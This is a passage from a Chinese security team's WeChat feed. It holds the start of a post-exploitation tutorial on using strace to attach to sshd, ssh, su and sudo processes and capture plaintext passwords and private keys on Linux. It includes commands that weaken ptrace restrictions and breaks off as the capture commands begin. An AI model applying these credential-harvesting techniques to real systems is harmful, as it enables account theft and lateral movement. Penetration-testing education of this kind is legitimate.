border-box;line-height: 25.6px;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin-top: 10px;margin-bottom: 10px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="padding-right: 1em;padding-left: 1em;max-width: 100%;box-sizing: border-box;display: inline-block;text-align: center;overflow-wrap: break-word !important;"><span style="padding: 0.3em 0.5em;max-width: 100%;box-sizing: border-box;display: inline-block;border-radius: 0.5em;font-size: 14.08px;color: rgb(255, 255, 255);background-color: rgb(24, 141, 42);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">MS509简介：</span></section></span> </section><section style="margin-top: -1em;padding: 20px 10px 10px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(192, 200, 209);text-align: center;background-color: rgb(239, 239, 239);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;text-align: left;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span><em style="text-align: left;white-space: normal;background-color: rgb(239, 239, 239);"><em><em style="max-width: 100%;color: rgb(62, 62, 62);font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;">MS509是中国电子科技网络信息安全有限公司（简称“中国网安”）旗下从事安全漏洞挖掘及利用方法研究的纯技术研究团队，研究方向包括WEB安全、红蓝对抗、移动安全、逆向分析、二进制安全、智能硬件（IOT）安全、工控安全、无线安全、APT攻击追踪溯源、安全编程等。</span></em></em></em></em><strong style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;"></strong></em></em><span style="max-width: 100%;color: rgb(255, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">更多团队动态，尽在博客www.ms509.com；微博搜索 MS509。</strong></em></em></span></section><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;color: rgb(255, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">加入我们：<a href="https://www.ms509.com/contact/" target="_blank">https://www.ms509.com/contact/</a></strong></em></em></span></section></section></section></section></section></section></section></section><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section style="max-width: 100%;line-height: 25.6px;border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;text-align: center;border-width: 0px;border-style: solid;border-color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;display: inline-block;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;width: 21em;border-width: 0px;border-style: solid;border-color: rgb(0, 0, 0);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="__bg_gif" data-ratio="0.532" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: auto !important;" data-type="gif" data-w="500" width="auto" src="https://wechat2rss.xlab.app/img-proxy/?k=f64bf6ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIPmdz4nc0ndM0T4dvLW5NpN7vzZs7eUsDzJQ38oWic3ickec4N848AicAvQ%2F640%3Fwx_fmt%3Dgif"/></section><section style="margin-top: -10.5em;margin-left: 0.8em;max-width: 100%;width: 8em;height: 8em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img data-ratio="1" data-s="300,640" style="box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: auto !important;" data-type="jpeg" data-w="258" src="https://wechat2rss.xlab.app/img-proxy/?k=9b636feb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIP3WSctzWffhLdFjx0W28oHbAQiaqtW7zYu7kGO75vdZZT69TR7iapNpNw%2F640%3Fwx_fmt%3Djpeg"/><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section></section></section></section><p style="max-width: 100%;min-height: 1em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="white-space: normal;max-width: 100%;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><p><br/></p><section data-ele="" style="white-space: normal;max-width: 100%;line-height: 25.6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-ele="" style="max-width: 100%;border-width: 0px;border-style: none;border-color: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="max-width: 100%;overflow-wrap: break-word;min-height: 1.5em;font-size: 15.5556px;line-height: 2em;word-break: normal;border-radius: 5px;color: rgb(255, 255, 255);text-align: center;background-color: rgb(89, 150, 235);box-sizing: border-box !important;"><span style="max-width: 100%;color: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">↓↓↓ 点击&#34;阅读原文&#34; 【查看更多信息】  </span></p></section></section></section><p><br/></p>



<p><a href="https://www.ms509.com/2020/06/24/Waf-Bypass-Sql/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=8840dc2f&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAwODgxNTA2NA%3D%3D%26mid%3D2650935480%26idx%3D1%26sn%3Dd42196a72a7c1819745384371d58063b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 24 Jun 2020 18:07:00 +0800</pubDate>
    </item>
    <item>
      <title>linux后渗透之收集登录凭证</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAwODgxNTA2NA==&amp;mid=2650935401&amp;idx=1&amp;sn=1479fdbbe9e2779477b2fe764bffb2c2</link>
      <description>当渗透测试人员拿到shell后，如果要进一步渗透，信息收集是重中之重，内网渗透的深入程度取决于信息收集的深度，内网渗透的本质就是信息收集，而登录凭证的收集是信息收集的重点方向。关于linux系统下登录凭证收集的文章多为翻查文件。本文将研究</description>
      <content:encoded><![CDATA[<p>
<span>last0monster</span> <span>2020-06-22 12:45</span> <span style="display: inline-block;"></span>
</p>

<p>当渗透测试人员拿到shell后，如果要进一步渗透，信息收集是重中之重，内网渗透的深入程度取决于信息收集的深度，内网渗透的本质就是信息收集，而登录凭证的收集是信息收集的重点方向。关于linux系统下登录凭证收集的文章多为翻查文件。本文将研究</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=14ebc37d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD03tPia69426S6PavLUicDbovA0rZv4Xx8eUUk8AAlaBMib0Mn2EOUkGbJ75ib2oMhU4I6JSOEqdjWdJA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><img class="__bg_gif" data-ratio="0.11875" title="1444706553487851.gif" data-type="gif" data-w="640" style="font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;line-height: 25.6px;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;width: 640px !important;visibility: visible !important;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=1e1426cc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FjKzAUW2rMBwxibGWwbR9NTzicF72uArHzAW1ibKdMA8BUoTSUwE4M37diacWVMETWetDDemg6wh2D1GNLTGWybYV7g%2F640%3Fwx_fmt%3Dgif"/></p><ol class="list-paddingleft-2" style="margin: 0.5em;line-height: 1.8em;"></ol><section style="max-width: 100%;box-sizing: border-box;line-height: 25.6px;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="margin-top: 10px;margin-bottom: 10px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="padding-right: 1em;padding-left: 1em;max-width: 100%;box-sizing: border-box;display: inline-block;text-align: center;overflow-wrap: break-word !important;"><span style="padding: 0.3em 0.5em;max-width: 100%;box-sizing: border-box;display: inline-block;border-radius: 0.5em;font-size: 14.08px;color: rgb(255, 255, 255);background-color: rgb(24, 141, 42);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 16px;box-sizing: border-box !important;overflow-wrap: break-word !important;">文章目录</span></section></span> </section><section style="margin-top: -1em;padding: 20px 10px 10px;max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: solid;border-color: rgb(192, 200, 209);text-align: center;background-color: rgb(239, 239, 239);overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;text-align: left;overflow-wrap: break-word !important;"><section style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;line-height: 24px;white-space: pre-wrap;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></em></em></section><ol class="list-paddingleft-2" style="margin: 0.5em;width: 577.422px;white-space: normal;line-height: 1.8em;"><li style="list-style-type: none;"><p>1. strace简介</p></li><ol class="list-paddingleft-2" style="margin-left: 1em;width: 539.484px;list-style-type: lower-alpha;"><li style="list-style-type: none;"><p>1.1. 安装strace</p></li><li style="list-style-type: none;"><p>1.2. strace使用条件</p></li><li style="list-style-type: none;"><p>1.3. strace语法</p></li></ol><li style="list-style-type: none;"><p>2. 收集任意已有进程登录凭证</p></li><ol class="list-paddingleft-2" style="margin-left: 1em;width: 539.484px;list-style-type: lower-alpha;"><li style="list-style-type: none;"><p>2.1. 获取sshd进程明文密码</p></li><li style="list-style-type: none;"><p>2.2. 获取sshd进程私钥</p></li></ol><li style="list-style-type: none;"><p>3. 收集任意指定程序登录凭证</p></li><ol class="list-paddingleft-2" style="margin-left: 1em;width: 539.484px;list-style-type: lower-alpha;"><li style="list-style-type: none;"><p>3.1. 收集ssh登录凭证</p></li><li style="list-style-type: none;"><p>3.2. 收集su、sudo等需要提升权限运行的程序的登录凭证</p></li></ol><li style="list-style-type: none;"><p>4. 总结</p></li><li style="list-style-type: none;"><p><span style="color: rgb(110, 113, 115);transition: all 0.1s ease-in 0s;">5.</span><span style="color: rgb(110, 113, 115);transition: all 0.1s ease-in 0s;"> </span><span style="color: rgb(110, 113, 115);transition: all 0.1s ease-in 0s;">参考链接</span></p></li></ol></section></section></section></section></section></section></section><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">当渗透测试人员拿到shell后，如果要进一步渗透，信息收集是重中之重，内网渗透的深入程度取决于信息收集的深度，内网渗透的本质就是信息收集，而登录凭</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">证的收集是信息收集的重点方向。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">关于linux系统下登录凭证收集的文章多为翻查文件。</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">本文将研究linux系统下的通过调试程序的方法，跟踪进程数据的方式收集登录凭证。</span><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">strace是linux中的调试工具，可通过附加到进程来调试正在运行的进程，strace记录一个正在运行的程序正在执行的系统调用以及参数。我们可以通过这种方式来跟踪任何进程数据，比如<code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">sshd ssh su sudo</code>等进程数据来获取登录凭证。</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">例如，如果一个应用程序（例如Pidgin）遭到入侵，攻击者就有可能附加到其他正在运行的进程（例如Firefox，SSH会话，GPG代理等）以提取其他凭证并继续扩大范围，无需借助用户协助的网络钓鱼就可以进行攻击。</p><h2 style="margin-top: 1.4em;margin-bottom: 1.1em;border-bottom: 1px solid rgb(238, 238, 238);overflow: hidden;">strace简介</h2><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;">安装strace</h3><p><br/></p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;"># 能出网</span><br/><span style="height: 1.3em;font-size: 13px;">yum install strace -y</span><br/><span style="height: 1.3em;font-size: 13px;">apt install strace -y</span><br/><span style="height: 1.3em;font-size: 13px;"># 不能出网</span><br/><span style="height: 1.3em;font-size: 13px;">上传对应安装包，手工安装，或者编译安装</span><br/></pre></td></tr></tbody></table></figure><p><br/></p><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;">strace使用条件</h3><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">Linux Kernel 3.4及更高版本支持完全限制或禁用ptrace的功能。这可以通过使用sysctl将kernel.yama.ptrace_scope设置为1、2或3来完成。默认情况下，大多数发行版都将其设置为1。根据Linux Kernel Yama Documentation，这些数字映射到以下权限：</p><p><br/></p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;">0-经典ptrace权限：进程可以将PTRACE_ATTACH传递给任何其他进程，只要它是可转储的（即没有转换uid，没有特权启动或没有调用prctl（PR_SET_DUMPABLE ...）。同样，PTRACE_TRACEME为不变。</span><br/><span style="height: 1.3em;font-size: 13px;"></span><br/><span style="height: 1.3em;font-size: 13px;">1-受限制的ptrace：进程必须具有预定义的关系下一个它想调用PTRACE_ATTACH。默认情况下，当上面的关系时，这种关系只是其后代的关系也符合经典标准。要改变关系，下级可以调用prctl（PR_SET_PTRACER，debugger，...）进行声明允许的调试器PID调用劣质的PTRACE_ATTACH。使用PTRACE_TRACEME不变。</span><br/><span style="height: 1.3em;font-size: 13px;"></span><br/><span style="height: 1.3em;font-size: 13px;">2-仅限管理员附加：只有具有CAP_SYS_PTRACE的进程才能使用ptrace，通过PTRACE_ATTACH，或通过子级调用PTRACE_TRACEME。</span><br/><span style="height: 1.3em;font-size: 13px;"></span><br/><span style="height: 1.3em;font-size: 13px;">3-没有连接：任何进程都不能将ptrace与PTRACE_ATTACH一起使用，也不能通过PTRACE_TRACEME。设置后，该sysctl值将无法更改。</span><br/></pre></td></tr></tbody></table></figure><p><br/></p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">这样可以通过运行<code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">sysctl kernel.yama.ptrace_scope=3</code>在系统上禁用ptrace。但是，这可能会破坏正在运行的其他程序。例如，Wine在禁用ptrace的情况下无法正常工作。我建议您测试非生产服务器，并验证其所有功能在未启用ptrace的情况下能否正常运行。禁用ptrace还可以阻止某些调试功能。</p><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><span style="font-weight: bolder;">查看修改系统strace配置</span></p><p><br/></p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;"># 查看</span><br/><span style="height: 1.3em;font-size: 13px;">cat /proc/sys/kernel/yama/ptrace_scope</span><br/><span style="height: 1.3em;font-size: 13px;"># 修改</span><br/><span style="height: 1.3em;font-size: 13px;">echo 0 &gt; /proc/sys/kernel/yama/ptrace_scope 或者 sysctl kernel.yama.ptrace_scope=0</span><br/><span style="height: 1.3em;font-size: 13px;"># 当kernel.yama.ptrace_scope的值设置为3后，必须重启系统后才能更改</span><br/></pre></td></tr></tbody></table></figure><p><br/></p><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;">strace语法</h3><p><br/></p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="645"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 645.844px;"><span style="height: 1.3em;font-size: 13px;">-c 统计每一系统调用的所执行的时间,次数和出错的次数等.</span><br/><span style="height: 1.3em;font-size: 13px;">-d 输出strace关于标准错误的调试信息.</span><br/><span style="height: 1.3em;font-size: 13px;">-f 跟踪由fork调用所产生的子进程.</span><br/><span style="height: 1.3em;font-size: 13px;">-ff 如果提供-o filename,则所有进程的跟踪结果输出到相应的filename.pid中,pid是各进程的进程号.</span><br/><span style="height: 1.3em;font-size: 13px;">-F 尝试跟踪vfork调用.在-f时,vfork不被跟踪.</span><br/><span style="height: 1.3em;font-size: 13px;">-h 输出简要的帮助信息.</span><br/><span style="height: 1.3em;font-size: 13px;">-i 输出系统调用的入口指针.</span><br/><span style="height: 1.3em;font-size: 13px;">-q 禁止输出关于脱离的消息.</span><br/><span style="height: 1.3em;font-size: 13px;">-r 打印出相对时间关于,,每一个系统调用.</span><br/><span style="height: 1.3em;font-size: 13px;">-t 在输出中的每一行前加上时间信息.</span><br/><span style="height: 1.3em;font-size: 13px;">-tt 在输出中的每一行前加上时间信息,微秒级.</span><br/><span style="height: 1.3em;font-size: 13px;">-ttt 微秒级输出,以秒了表示时间.</span><br/><span style="height: 1.3em;font-size: 13px;">-T 显示每一调用所耗的时间.</span><br/><span style="height: 1.3em;font-size: 13px;">-v 输出所有的系统调用.一些调用关于环境变量,状态,输入输出等调用由于使用频繁,默认不输出.</span><br/><span style="height: 1.3em;font-size: 13px;">-V 输出strace的版本信息.</span><br/><span style="height: 1.3em;font-size: 13px;">-x 以十六进制形式输出非标准字符串</span><br/><span style="height: 1.3em;font-size: 13px;">-xx 所有字符串以十六进制形式输出.</span><br/><span style="height: 1.3em;font-size: 13px;">-a column 设置返回值的输出位置.默认 为40.</span><br/><span style="height: 1.3em;font-size: 13px;">-e expr 指定一个表达式,用来控制如何跟踪.格式：[qualifier=][!]value1[,value2]...</span><br/><span style="height: 1.3em;font-size: 13px;">qualifier只能是 trace,abbrev,verbose,raw,signal,read,write其中之一.value是用来限定的符号或数字.默认的 qualifier是 trace.感叹号是否定符号.例如:-eopen等价于 -e trace=open,表示只跟踪open调用.而-etrace!=open 表示跟踪除了open以外的其他调用.有两个特殊的符号 all 和 none. 注意有些shell使用!来执行历史记录里的命令,所以要使用\\.</span><br/><span style="height: 1.3em;font-size: 13px;">-e trace=set 只跟踪指定的系统 调用.例如:-e trace=open,close,rean,write表示只跟踪这四个系统调用.默认的为set=all.</span><br/><span style="height: 1.3em;font-size: 13px;">-e trace=file 只跟踪有关文件操作的系统调用.</span><br/><span style="height: 1.3em;font-size: 13px;">-e trace=process 只跟踪有关进程控制的系统调用.</span><br/><span style="height: 1.3em;font-size: 13px;">-e trace=network 跟踪与网络有关的所有系统调用.</span><br/><span style="height: 1.3em;font-size: 13px;">-e strace=signal 跟踪所有与系统信号有关的 系统调用</span><br/><span style="height: 1.3em;font-size: 13px;">-e trace=ipc 跟踪所有与进程通讯有关的系统调用</span><br/><span style="height: 1.3em;font-size: 13px;">-e abbrev=set 设定strace输出的系统调用的结果集.-v 等与 abbrev=none.默认为abbrev=all.</span><br/><span style="height: 1.3em;font-size: 13px;">-e raw=set 将指定的系统调用的参数以十六进制显示.</span><br/><span style="height: 1.3em;font-size: 13px;">-e signal=set 指定跟踪的系统信号.默认为all.如 signal=!SIGIO(或者signal=!io),表示不跟踪SIGIO信号.</span><br/><span style="height: 1.3em;font-size: 13px;">-e read=set 输出从指定文件中读出 的数据.例如: -e read=3,5</span><br/><span style="height: 1.3em;font-size: 13px;">-e write=set 输出写入到指定文件中的数据.</span><br/><span style="height: 1.3em;font-size: 13px;">-o filename 将strace的输出写入文件filename</span><br/><span style="height: 1.3em;font-size: 13px;">-p pid 跟踪指定的进程pid.</span><br/><span style="height: 1.3em;font-size: 13px;">-s strsize 指定输出的字符串的最大长度.默认为32.文件名一直全部输出.</span><br/><span style="height: 1.3em;font-size: 13px;">-u username 以username的UID和GID执行被跟踪的命令</span><br/></pre></td></tr></tbody></table></figure><p><br/></p><h2 style="margin-top: 1.4em;margin-bottom: 1.1em;border-bottom: 1px solid rgb(238, 238, 238);overflow: hidden;">收集任意已有进程登录凭证</h2><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;"><code style="font-size: 1em;display: inline-block;margin-right: 5px;margin-left: 5px;padding-right: 5px;padding-left: 5px;background: rgb(247, 248, 248);font-family: Menlo, Consolas, monospace !important;">strace -p</code>参数指定进程，收集对应进程的系统调用数据</p><h3 style="margin-top: 1.4em;margin-bottom: 1.1em;">获取sshd进程明文密码</h3><p style="margin-bottom: 1.234em;word-break: break-word;overflow-wrap: break-word;">1.root权限执行</p><p><br/></p><figure style="background: rgb(247, 248, 248);margin-top: 10px;margin-bottom: 10px;line-height: 1.1em;color: rgb(51, 51, 51);padding-top: 15px;overflow: hidden;"><table width="722"><tbody><tr><td style="padding: 0.3em 15px 0.3em 1em;background-color: inherit;font-family: Menlo, Consolas, monospace;border-width: initial;border-style: none;border-color: initial;cursor: text;vertical-align: top;" width="653"><p><svg viewBox="64 64 896 896" focusable="false" data-icon="copy" width="1em" height="1em" fill="currentColor" aria-hidden="true"><path d="M832 64H296c-4.4 0-8 3.6-8 8v56c0 4.4 3.6 8 8 8h496v688c0 4.4 3.6 8 8 8h56c4.4 0 8-3.6 8-8V96c0-17.7-14.3-32-32-32zM704 192H192c-17.7 0-32 14.3-32 32v530.7c0 8.5 3.4 16.6 9.4 22.6l173.3 173.3c2.2 2.2 4.7 4 7.4 5.5v1.9h4.2c3.5 1.3 7.2 2 11 2H704c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32zM350 856.2L263.9 770H350v86.2zM664 888H414V746c0-22.1-17.9-40-40-40H232V264h432v624z"></path></svg></p><pre style="font-family: Menlo, Consolas, monospace;font-size: 1em;background-color: inherit;border-width: initial;border-style: none;border-color: initial;cursor: text;max-width: 700px;overflow: auto hidden;width: 653.672px;"><span style="height: 1.3em;font-size: 13px;"># 使用括号执行程序，当前shell退出，执行的程序不会退出</span><br/><span style="height: 